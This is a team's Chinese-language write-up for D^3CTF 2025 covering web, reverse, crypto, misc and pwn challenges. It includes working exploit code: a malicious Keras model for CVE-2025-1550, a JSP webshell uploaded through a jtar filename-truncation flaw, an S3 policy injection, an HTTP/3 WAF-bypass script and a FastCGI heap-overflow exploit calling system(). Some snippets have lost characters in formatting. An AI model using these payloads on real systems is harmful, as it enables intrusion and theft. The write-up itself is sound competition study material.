队伍名称:Nepnep
最终排名:6th
感谢队里师傅们的辛苦付出!如果有意加入我们团队的师傅,欢迎发送个人简介至:[email protected]
Web
d3invitation
/api/genSTSCreds用于生成临时密钥
session_token的格式是一个JWT, 解码后为
{"alg":"HS512","typ":"JWT"}{"accessKey":"NQ26OQHZYXH08U4C2F22","exp":1748627076,"parent":"B9M320QXHD38WUR2MIY3","sessionPolicy":"eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMSJdfV19"}sessionPolicy解码后为{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/1"] }]}
所以通过设置object_name的值为*"],"Action":["s3:_"],"Resource":["arn:aws:s3:::*
进行注入,
将注入后生成的session_token解码发现策略policy变为我们所更改的权限(即全部权限)
测试发现 可以直接利用生成的密钥经过web服务提供的api进行上传/下载
现在需要 listObject , 通过脚本对云服务器进行操作
from minio import Minioclient = Minio("ip", # 改成你的 MinIO 地址 access_key="xxx", secret_key="xxx", session_token="xxx", secure=False)# 列出 bucket 中的对象objects = client.list_objects("flag", recursive=True)for obj in objects: print("对象为:"+obj.object_name)#注:web服务所用的桶从policy可以看出为d3invitation, 但其下只有我们上传的对象, 所以尝试看看是否有flag桶
运行后发现在flag桶下面存在名为flag的对象
再进行代码以读取该对象即可获得flag
from minio import Minioclient = Minio("ip", # 改成你的 MinIO 地址 access_key="xxx", secret_key="xxx", session_token="xxx", secure=False)# 读取flag桶里的flag对象objects = client.get_object("flag", "flag")for obj in objects: print(obj)
d3model
是这个cve漏洞
找到对应的漏洞分析文章:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
利用其中的exp进行攻击,把命令执行结果输出到index.html中
exp:
import zipfileimport jsonfrom keras.models import Sequentialfrom keras.layers import Denseimport numpy as npimport osmodel_name = "model.keras"x_train = np.random.rand(100, 28 * 28)y_train = np.random.rand(100)model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])model.compile(optimizer='adam', loss='mse')model.fit(x_train, y_train, epochs=5)model.save(model_name)with zipfile.ZipFile(model_name, "r") as f: config = json.loads(f.read("config.json").decode())config["config"]["layers"][0]["module"] = "keras.models"config["config"]["layers"][0]["class_name"] = "Model"config["config"]["layers"][0]["config"] = {"name": "mvlttt","layers": [ {"name": "mvlttt","class_name": "function","config": "Popen","module": "subprocess","inbound_nodes": [{"args": [["/bin/sh", "-c", "env >> /app/index.html"]], "kwargs": {"bufsize": -1}}] }],"input_layers": [["mvlttt", 0, 0]],"output_layers": [["mvlttt", 0, 0]]}with zipfile.ZipFile(model_name, 'r') as zip_read:with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:for item in zip_read.infolist():if item.filename != "config.json": zip_write.writestr(item, zip_read.read(item.filename))os.remove(model_name)os.rename(f"tmp.{model_name}", model_name)with zipfile.ZipFile(model_name, "a") as zf: zf.writestr("config.json", json.dumps(config))print("[+] Malicious model ready")
d3jtar
附件是一个war
包,解压之后的依赖信息:
<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><packaging>war</packaging><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.18</version></parent><groupId>d3.example</groupId><artifactId>D3CTF</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-tomcat</artifactId></exclusion></exclusions></dependency><dependency><groupId>org.kamranzafar</groupId><artifactId>jtar</artifactId><version>2.3</version></dependency><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-jasper</artifactId><scope>provided</scope></dependency><dependency><groupId>javax.servlet</groupId><artifactId>jstl</artifactId></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><scope>provided</scope></dependency></dependencies><build><finalName>d3jtar</finalName><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId><configuration><mainClass>d3.example.Application</mainClass></configuration></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-war-plugin</artifactId><configuration><warSourceDirectory>src/main/webapp</warSourceDirectory></configuration></plugin></plugins></build></project>
应用程序有三个路由,view
,Upload
,BackUp
-
view
能解析指定jsp -
UPload
可以上传文件 -
Backup
可以用jtar包归档文件,解压文件
重点就是jtar
包,通读源码之后,通过审计发现:
war包的结构是一个头部(文件名、大小、所属用户和组等等),一个文件内容的格式,归档文件时,依赖包把这个东西作为一个entry来归档war包,在写入头部元信息的时候:
TarHeader{ public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) { int i; for (i = 0; i < length && i < name.length(); ++i) { buf[offset + i] = (byte) name.charAt(i); } for (; i < length; ++i) { buf[offset + i] = 0; } return offset + length; }}
在读取头信息的时候:
TarHeader{ public static StringBuffer parseName(byte[] header, int offset, int length) { StringBuffer result = new StringBuffer(length); int end = offset + length; for (int i = offset; i < end; ++i) { if (header[i] == 0) break; result.append((char) header[i]); } return result; }}
可以看到这里的方法签名是不一致的
我们可以捕捉到一个信息,java中String序列和byte之间的区别:String序列是Unicode码点序列(在Java中默认实现是UTF-16),而byte则是相应实现的二进制序列
getNameBytes
方法的参数name
是StringBuffer
类型的,但是jtar的实现却是(byte) name.charAt(i);
,这意味着当我们使用中文字符的时候会发生高位丢失
然后只需要使得一个Unicode码点去掉高位之后和禁用字符jsp
中的某一个一致即可:
publicstaticvoidmain(String[] args){ System.out.println((byte)'j'); unicodeTraverse(); }publicstaticvoidunicodeTraverse(){int count = 0;for (int codePoint = Character.MIN_CODE_POINT; codePoint <= Character.MAX_CODE_POINT; codePoint++) {if (!Character.isDefined(codePoint)) continue; // 跳过未定义的码点 String str = new String(Character.toChars(codePoint)); // 转成字符串 System.out.printf("U+%04X: %s%n", codePoint, str);char ch = str.charAt(0);if((byte)ch == 106){ System.out.printf("U+%04X: %s%n", codePoint, str); }if (++count >= 1000) break; } }
可以找到U+016A: Ū
使用这个写一个jsp
木马:
publicstaticvoidmain(String[] args)throws IOException {try( FileOutputStream fis = new FileOutputStream("./data/a.u016Asp") ){ fis.write(("<%@ page import="java.io.InputStream" %>n" +"<%@ page import="java.io.BufferedReader" %>n" +"<%@ page import="java.io.InputStreamReader" %>n" +"<%@ page contentType="text/html;charset=UTF-8" language="java" %>n" +"<html>n" +"<head>n" +" <title></title>n" +"</head>n" +"<body>n" +"<%n" +" Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));n" +" InputStream inputStream = process.getInputStream();n" +" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));n" +" String line;n" +" while ((line = bufferedReader.readLine())!=null){n" +" response.getWriter().print(line);n" +" }n" +"%>n" +"</body>n" +"</html>").getBytes()); } }
上面那个只执行了一次,环境崩了,直接执行,然后上传,归档,解压,访问:
<% Process p = Runtime.getRuntime().exec("env"); java.io.InputStream is = p.getInputStream(); java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\A"); String output = s.hasNext() ? s.next() : ""; out.print(output);%>KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 HOSTNAME=ret2shell-17-304-1748687249 LANGUAGE=en_US:en JAVA_HOME=/opt/jdk1.8.0_202 GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 5C3C5F3E314C866292F359A8F3AD5C94A67F707E 765908099ACF92702C7D949BFA0C35EA8AA299F1 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23 PWD=/usr/local/tomcat TOMCAT_SHA512=ba701002be9729e19b5d2e12e1f4a723a38ad4452ab235127a19397bc81e95adc060187501701ba0160f0017723525b506a42f0dbb4f9f91f1a1a53be1ba1b25 TOMCAT_MAJOR=8 HOME=/root LANG=en_US.UTF-8 KUBERNETES_PORT_443_TCP=tcp://34.118.224.1:443 TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib FLAG=d3ctf{wHat-?!-HOW_CouId_y0U_DO-TH@t-,-JTAr-?25bf4b} CATALINA_HOME=/usr/local/tomcat SHLVL=0 KUBERNETES_PORT_443_TCP_PROTO=tcp JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED KUBERNETES_PORT_443_TCP_ADDR=34.118.224.1 LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib KUBERNETES_SERVICE_HOST=34.118.224.1 LC_ALL=en_US.UTF-8 KUBERNETES_PORT=tcp://34.118.224.1:443 KUBERNETES_PORT_443_TCP_PORT=443 PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/jdk1.8.0_202/bin:/usr/local/tomcat/bin TOMCAT_VERSION=8.5.82 JAVA_VERSION=jdk-17.0.4.1+1
tidy quic
给了一个 HTTP3 的 go 语言服务,输入 I want xxx 之后会返回 xxx,如果这个 xxx 是 flag 就会返回 flag。
但是题目有一个 WAF 对当前流所有的字符进行了过滤,使用了一个 wrap,内置 idx 变量来记录当前流匹配 flag 的进度。
题目中用来处理字符的机制是使用了 go-buffer-pool
这个插件进行管理。一开始发现 Content-length 是可控的,并且分配内存池的机制也是根据 Content-length 的长度来进行分配的,所以一开始在想使用内存池溢出能否造成不同流之间数据的覆盖来进行绕过。
后来发现不太行,因为处理到 HasPrefix
的时候内存池过大会直接把服务宕掉。猜测 go-buffer-pool
的内存分配机制是连续的,经过一些实验之后发现,如果我连续发送 I want flag
和 I want
两个流,那么后面那个流会直接将内存分配到前面流的开头,如果我分配第二个流此时的 Content-length 是 11,那么就会将第一个流里面的 flag
字段会直接在第二个流的 Trim_Prefix
处理后出现。
上图是我在尝试过程中意外发现第一个流的数据出现在了第二个流中。
但是第一个流在处理完之后会将内存池的内容清空销毁,所以我构造了两个流,在第二个流处理完之前不去销毁第一个流就可以了,下面是我的 payload。
#!/usr/bin/env python3# -*- coding: utf-8 -*-import asyncioimport sslimport osfrom typing import Dict, List, Optional, Union, castfrom aioquic.asyncio.client import connectfrom aioquic.asyncio.protocol import QuicConnectionProtocolfrom aioquic.h3.connection import H3_ALPN, H3Connectionfrom aioquic.h3.events import DataReceived, HeadersReceived, H3Eventfrom aioquic.quic.configuration import QuicConfigurationfrom aioquic.quic.events import QuicEvent# 服务器地址(替换为目标地址)SERVER_HOST = "127.0.0.1"SERVER_PORT = 8080classH3Client(QuicConnectionProtocol):def__init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.h3_connection = H3Connection(self._quic) self.response_data = b"" self.response_headers = None self.response_completed = asyncio.Event()defhttp_event_received(self, event: H3Event) -> None:if isinstance(event, HeadersReceived): self.response_headers = event.headerselif isinstance(event, DataReceived): self.response_data += event.dataif event.stream_ended: self.response_completed.set()defquic_event_received(self, event: QuicEvent) -> None:for http_event in self.h3_connection.handle_event(event): self.http_event_received(http_event)asyncdefsend_parallel_requests(self) -> None:"""并行发送多个请求尝试绕过WAF"""# 请求头 headers = [ (b":method", b"POST"), (b":scheme", b"https"), (b":authority", f"{SERVER_HOST}:{SERVER_PORT}".encode()), (b":path", b"/"), (b"user-agent", b"waf-bypass-h3-client"), (b"content-type", b"text/plain"), (b"content-length", b"11"), ] headers2 = [ (b":method", b"POST"), (b":scheme", b"https"), (b":authority", f"{SERVER_HOST}:{SERVER_PORT}".encode()), (b":path", b"/"), (b"user-agent", b"waf-bypass-h3-client"), (b"content-type", b"text/plain"), (b"content-length", b"11"), ]# 创建两个并行流 stream1_id = 0 stream2_id = 4# 在所有流上发送头部 self.h3_connection.send_headers(stream1_id, headers, end_stream=False) self.h3_connection.send_data(stream1_id, b"I want flag", end_stream=False) self.h3_connection.send_headers(stream2_id, headers, end_stream=False) self.h3_connection.send_data(stream2_id, b"I want", end_stream=True)await asyncio.sleep(0.1) # 等待第二个流处理结束之后再让第一个流结束 self.h3_connection.send_data(stream1_id, b" ", end_stream=True)await asyncio.sleep(1)await self.response_completed.wait()if self.response_headers isNone: print("[!] 没有收到响应头")returnifnot self.response_data: print("[!] 没有收到响应数据")return# 打印响应头和数据 # 显示响应 print("----- 响应头 -----")for header in self.response_headers: print(f"{header[0].decode()}: {header[1].decode()}") print("n----- 响应数据 -----") print(self.response_data.decode())asyncdefmain():# 配置SSL上下文(忽略证书验证) ssl_context = ssl.create_default_context() ssl_context.check_hostname = False ssl_context.verify_mode = ssl.CERT_NONE# QUIC配置 configuration = QuicConfiguration( alpn_protocols=H3_ALPN, is_client=True, max_data=10485760, # 10 MB max_stream_data=1048576, # 1 MB verify_mode=ssl.CERT_NONE, # 直接在配置中设置验证模式 ) print(f"[+] 连接到服务器 {SERVER_HOST}:{SERVER_PORT}...")asyncwith connect( SERVER_HOST, SERVER_PORT, configuration=configuration, create_protocol=H3Client, ) as client: client = cast(H3Client, client) print("[+] 连接成功, 发送分割请求...")await client.send_parallel_requests() print("[+] 完成!")if __name__ == "__main__":try: asyncio.run(main())except Exception as e: print(f"[!] 错误: {e}")
可能脚本一次跑不出来,多跑几次卡卡就行了。
附一个调试过程中魔改过的源码。
package mainimport ("bytes""errors""github.com/libp2p/go-buffer-pool""github.com/quic-go/quic-go/http3""io""log""net/http""os")var p pool.BufferPoolvar ErrWAF = errors.New("WAF")funcmain() {gofunc() { err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{}) log.Fatalln(err) }()gofunc() { err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{}) log.Fatalln(err) }()select {}}type mux struct {}func(*mux)ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.Method == http.MethodGet { _, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))return }if r.Method != http.MethodPost { w.WriteHeader(400)return }var buf []byte length := int(r.ContentLength) log.Printf("Content-Length: %d", length)if length == -1 {var err error buf, err = io.ReadAll(textInterrupterWrap(r.Body))if err != nil {if errors.Is(err, ErrWAF) { w.WriteHeader(400) _, _ = w.Write([]byte("WAF")) } else { w.WriteHeader(500) _, _ = w.Write([]byte("error")) }return } } else { buf = p.Get(length) log.Printf("Get buffer of size: %d", length)defer p.Put(buf) log.Printf("Using buffer of size: %d", len(buf)) rd := textInterrupterWrap(r.Body) i := 0for { n, err := rd.Read(buf[i:])if err != nil {if errors.Is(err, io.EOF) {break } elseif errors.Is(err, ErrWAF) { w.WriteHeader(400) _, _ = w.Write([]byte("WAF"))return } else { w.WriteHeader(500) _, _ = w.Write([]byte("error"))return } } i += n } } log.Printf("Received data: %s length: %d", string(buf), length)if !bytes.HasPrefix(buf, []byte("I want")) { _, _ = w.Write([]byte("Sorry I'm not clear what you want."))return } log.Printf("Processing item: %s", string(bytes.TrimPrefix(buf, []byte("I want")))) item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))if bytes.Equal(item, []byte("flag")) { _, _ = w.Write([]byte(os.Getenv("FLAG"))) } else { _, _ = w.Write(item) }}type wrap struct { io.ReadCloser ban []byte idx int}func(w *wrap)Read(p []byte)(int, error) { n, err := w.ReadCloser.Read(p)if err != nil && !errors.Is(err, io.EOF) {return n, err }// 生成调试信息 log.Printf("Read %d bytes: %s", n, string(p[:n]))for i := 0; i < n; i++ {if p[i] == w.ban[w.idx] { w.idx++if w.idx == len(w.ban) {return n, ErrWAF } } else { w.idx = 0 } }return n, err}functextInterrupterWrap(rc io.ReadCloser)io.ReadCloser {return &wrap{ rc, []byte("flag"), 0, }}
Reverse
D^3Rpg - Revenge
根据d3rpg.ini 注意到解压出的Unknown是Sctipt.rxdata
将Unknown替换原Sctipt.rxdata,可看到具体脚本
简单的反调试
XXTEA算法
unpack和pack是ruby语言特性,用于base64
比较的密文在secret_dll.dll
#include<stdio.h>#include<stdint.h>#define DELTA 0xf1919810#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))voidbtea(uint32_t *v, int n, uint32_tconst key[4]){uint32_t y, z, sum;unsigned p, rounds, e;if (n > 1) /* Coding Part */ { rounds = 6 + 52/n; sum = DELTA; z = v[n-1];do { sum += DELTA; e = (sum >> 2) & 3;for (p=0; p<n-1; p++) { y = v;
z = v += MX;
} y = v[0]; z = v[n-1] += MX; }while (--rounds); }elseif (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52/n; sum = (rounds+0)*DELTA; y = v[0];do { e = (sum >> 2) & 3;for (p=n-1; p>0; p--) { z = v;
y = v -= MX;
} z = v[n-1]; y = v[0] -= MX; sum -= DELTA; }while (--rounds); }}intmain(){uint32_t v[]={0x7D6F152E, 0x52C072EA, 0x06BF1D2C, 0xBB5D43F2, 0x4DDE498F};uint32_tconst k[4]={0x6D677072, 0x72656B61, 0x445F7078, 0x46544333};int n= sizeof(v) / 4; //n的绝对值表示v的长度,取正表示加密,取负表示解密// v为要加密的数据是两个32位无符号整数// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位printf("加密后的数据:%x %xn",v[0],v[1]); btea(v, -n, k);printf("解密后的数据:%x %xn",v[0],v[1]);for(int i=0;i<sizeof(v);i++){printf("%.2x",((uint8_t*)v)[i] & 0xff); }printf("n%sn",v);return0;}Y0u_R_RPG_M4st3r
locked door
修改程序为固定基地址,x64dbg调试发现弹窗 Initializatione error 3,发现这是VMProtect壳特征,这里使用frida hook CreateFileW,Thread.Sleep(1000),用x64dbg挂载dump程序
其中OEP看调用堆栈
可dump程序,只是没有符号,IDA可分析
校验key1正确的代码
发现是调用OPENSSL库,用RSA验证消息签名,拿到签名信息和公钥后验证正确
其中公钥信息可从栈上获取
但是根据RSA签名信息还原原文是不可能的
观察到签名公钥信息来自于 sub_1400FC3B0,参数为140385180,450,
观察到140385180的数据,前面几项相同,对应公钥文件的 '-'
140385180后还有一段
找到引用
Frida hook修改参数执行算法(应该在调用WriteFile后再执行hook函数,WriteFile用于输出第一句话,是较早的hook时机)
Y0u_0p3n_7h3_d00r!!!
d3piano
java代码中,通过check,getflag得到flag
native代码中动态注册了Check函数
Check函数中,输入42位,然后gmp库做一个RSA运算,p q通过固定随机数生成,hook得到两个素数
进行RSA enc运算得到假flag
使用java hook check方法,native中返回1,发现实际java中仍返回false
IDA调试发现,在native返回执行RET后,执行到了libMediaPlayer.so代码
Hook libMediaPlayer.so 0x8A5E10,并在onLeave中清楚libMeidiaPlayer.so的可执行权限,尝试寻找libMeidiaPlayer会执行哪里(libMeidiaPlayer 找不到模块概率很高,需要重试几次)
会执行到 0x8a5a9c 重复以上操作后,发现点击一次结束返回false,再点击一次就会crash
偶然发现等了几秒发现也crash,到不同的位置,发现是sleep
找引用发现奇怪字符串
定位到代码
hook调试,89721C Chacha加密,将密文加密一次得到原文
896E58 执行的是一种压缩算法,调查测试 加 瞪眼法解压,压缩字节中不属于CDEFGABdegab 的字符视作位置,将指向位置的2个字符替换到原来位置
还原
bEbAACEBCGGGBdBECECbdaECCGGBAaAaedBEeDdGAdDaBgededFFBFeEaFGdFEbAFEAFgdgDBDBgeggbAeFagaEedbA
将字符转换为数字,用于getFlag
再通过xor,还原到输入字符
eCeeFFFFGeeCeeFFFFGeaGFeFeFeGeGbbbbbbbbGFeFGGGGGGCCeeeeFFFeGGGbbbbbbbbGFeFGGGGGGCCeeeeFFFee
S = 'bEbAACEBCGGGBdBECECbdaECCGGBAaAaedBEeDdGAdDaBgededFFBFeEaFGdFEbAFEAFgdgDBDBgeggbAeFagaEedbA't = "CDEFGABdegab"t2 = "0123456789ab"A=""for c in S: print(t2[t.index(c)],end='') A += t2[t.index(c)]print("")print(hex(int(A,12)))Fly1ng_Pi@n0_Key$_play_4_6e@utiful~melody
Crypto
d3fnv
跟前段时间的minil的hash蛮像,但是本题没有给出x而只给出了h(x),但是仍然可以使用相同的思路,将异或看作加或减去一个值,然后列式形如x=ak^i+b
xi=(2^7k^32)b0+k^31b1......+b31 mod p,可以将其看作agcd的样子去打正交格
类似这样
在最后一排加上p即可。注意在第一列乘上大数来配平系数,这样就可以造出如下格
n = len(hl) + 1qq=getPrime(1024)Ge = Matrix(ZZ, n, n)for i in range(n - 1): Ge[i, 0] = hl[i]* qq Ge[i, i + 1] = 1Ge[-1, 0] = p* qq
因为担心LLL太慢了所以这里用了flatter加速,将规约后的结果按行打印一下发现前32行为短向量,第一列全为0(加上最后一行的大数)所以我们取u=res[:32, 1:],又因为根据此时的关系式,∑i=1nuixi=0,我们对u取右核并再次规约提取短向量得到r,这里的r满足的就是模p下的b0的部分信息,得转置一下方便解方程。我们再解方程有r*rr=hl mod p,那么此时rr就是密钥key在格子中的近似值。
一开始想直接用x=(2^7k^32)b0+k^31b1......+b31 mod p式子减去rr打copper的,发现不行。ai说要平方才能计算,于是平方后打copper,构造出
不过没搞懂为什么前两项要乘2,ai解释如下
然后打copper就能求key了,最后交互即可
from Crypto.Util.number import getPrime, getRandomNBitIntegerfrom hashlib import sha256import stringimport randomfrom pwn import remote, processfrom subprocess import check_outputdefflatter(M):# compile https://github.com/keeganryan/flatter and put it in $PATH z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["flatter"], input=z.encode())from re import findallreturn matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))classFNV():def__init__(self, p, key): self.pbit = 1024 self.p = p self.key = keydefH4sh(self, value: str): length = len(value) x = (ord(value[0]) << 7) % self.pfor c in value: x = ((self.key * x) % self.p) ^^ ord(c) x ^^= lengthreturn xsh = remote("35.241.98.126", 31458)sh.recvuntil(b'Could you break my modified fnv hash function?')sh.recvuntil(b"option >")sh.sendline(b"G")p = int(sh.recvline().split(b"=")[1])hl = []for i in range(65): sh.recvuntil(b"option >") sh.sendline(b"H") hi = int(sh.recvline().split(b": ")[1]) hl.append(hi ^^ (32))n = len(hl) + 1qq=getPrime(1024)Ge = Matrix(ZZ, n, n)for i in range(n - 1): Ge[i, 0] = hl[i]* qq Ge[i, i + 1] = 1Ge[-1, 0] = p* qqres = flatter(Ge)for i, row in enumerate(res): print(f"Row {i}: [" + ", ".join(str(x) for x in row) + "]")u = res.submatrix(0, 1, 32, res.ncols() - 1)r = flatter(u.right_kernel_matrix())r=r.Trr = r.change_ring(GF(p)).solve_right(vector(hl))print(rr)PR.<x> = PolynomialRing(Zmod(p))f = (x ** 64 * 2**14+x ** 62)*2for i in range(31): f = f+x**(2*i)rrr=(rr * rr)f=f-rrrkeys = f.monic().roots()print(keys)key = int(keys[-1][0])sh.recvuntil(b"option >")sh.sendline(b"F")tok = (sh.recvline().split(b": ")[1].strip()).decode()print(tok)f = FNV(p, key)re =f.H4sh(tok)print(f"H4sh result: {re}")sh.recvuntil(b'Could you tell the value of H4sh(x)? ')sh.sendline(str(re).encode())print(sh.recvall())
(不过不知道为什么脚本是概率出,得多试几次
Misc
D^3Rpg
d3ssad 容易联想到是 rgssad,运行后是熟悉的RPG Maker XP工具制作的rpg
解包算法有修改。运行程序下断CreateFileA,可以找到校验文件头的代码
算法常量修改,这里使用quickbms的脚本去解压
解压后即可还原工程
剧情说是有4个flag碎片,但是最后直接给出了完整flag,base64解码
W3lc0m3_7o_d3_RpG_W0r1d
Signin
d3Signin
base64解码
d3ctf{Have_a_good_time_at_D3CTF-2025}
d3feedback
d3ctf{7H@NK_yOU_FOR_Y0uR_H4nKIN9}
Pwn
d3cgi
HRP师傅说:补个pwn。赛后打出来的,忘记了管道重定向,笑死了。
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *import subprocessimport timeimport osexe = context.binary = ELF('./files/challenge')defstart(argv=[], *a, **kw):return remote("127.0.0.1", 9999)defget_challenge_pid():"""获取challenge进程的PID"""try: result = subprocess.run(['ps', '-ef'], capture_output=True, text=True) lines = result.stdout.split('n')for line in lines:if'challenge'in line and'grep'notin line: parts = line.split()if len(parts) >= 2: pid = parts[1] print(f"[+] 找到challenge进程: PID {pid}") print(f"[+] 进程信息: {line.strip()}")return pid print("[-] 未找到challenge进程")returnNoneexcept Exception as e: print(f"[-] 获取进程信息失败: {e}")returnNonedefattach_gdb(pid):"""使用gdb attach到指定PID"""ifnot pid: print("[-] 无效的PID")return print(f"[+] 正在attach到PID {pid}...")# 创建gdb命令文件 gdb_commands = f"""set confirm offattach {pid}set follow-fork-mode childset detach-on-fork offb ReadParamsb mallocb FCGX_GetStrinfo proc mappingscontinue"""with open('/tmp/gdb_commands.txt', 'w') as f: f.write(gdb_commands)# 启动gdb gdb_cmd = f"gdb -x /tmp/gdb_commands.txt" print(f"[+] 执行命令: {gdb_cmd}") os.system(f"gnome-terminal -- bash -c '{gdb_cmd}; exec bash' 2>/dev/null || xterm -e '{gdb_cmd}' 2>/dev/null || {gdb_cmd}")defdebug_mode():"""调试模式:获取PID并attach gdb""" print("[*] === 调试模式 ===") pid = get_challenge_pid()if pid: attach_gdb(pid) input("[*] 按回车键继续发送exploit...")else: print("[-] 无法找到challenge进程,请确保服务正在运行")returnFalsereturnTrue"""typedef struct { unsigned char version; unsigned char type; unsigned char requestIdB1; unsigned char requestIdB0; unsigned char contentLengthB1; unsigned char contentLengthB0; unsigned char paddingLength; unsigned char reserved;} FCGI_Header;"""defmakeHeader(type, requestId, contentLength, paddingLength): header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)return header"""typedef struct { unsigned char roleB1; unsigned char roleB0; unsigned char flags; unsigned char reserved[5];} FCGI_BeginRequestBody;"""defmakeBeginReqBody(role, flags):return p16(role)[::-1] + p8(flags) + b"x00" * 5#堆风水 瞎尝试 刚好观察排布0x10在结构体0x30的上面 直接溢出改就好了import timefor i in range(16): time.sleep(1) io = start() header = makeHeader(9, 0, 900, 0) print(hex(exe.plt["system"])) io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + p32(0x31)*9+b'b'*2)*15 + p8(0) * (2 *2)) io.close()time.sleep(1)io = start()header = makeHeader(9, 0, 900, 0)print(hex(exe.plt["system"]))#断点打在ReadParams 观察堆状态找到0x30那个没有被free的 然后算下溢出大小排布下io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) +p32(0x31)*9+b'b'*2)*1 + p8(0) * (2 *2)+ p32(0xffffffff) + p32(0xffffffff) + b"xff" * (4 * 2) +p32(0xff1)*44 +p32(0x00000031)*2+b" /111bi;cat /flag>&3" +p32(0) * 3 + p32(exe.plt["system"]))a=io.recv(4096)print(a)io.close()
原文始发于微信公众号(Nepnep):D^3CTF 2025 Writeup by Nepnep
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论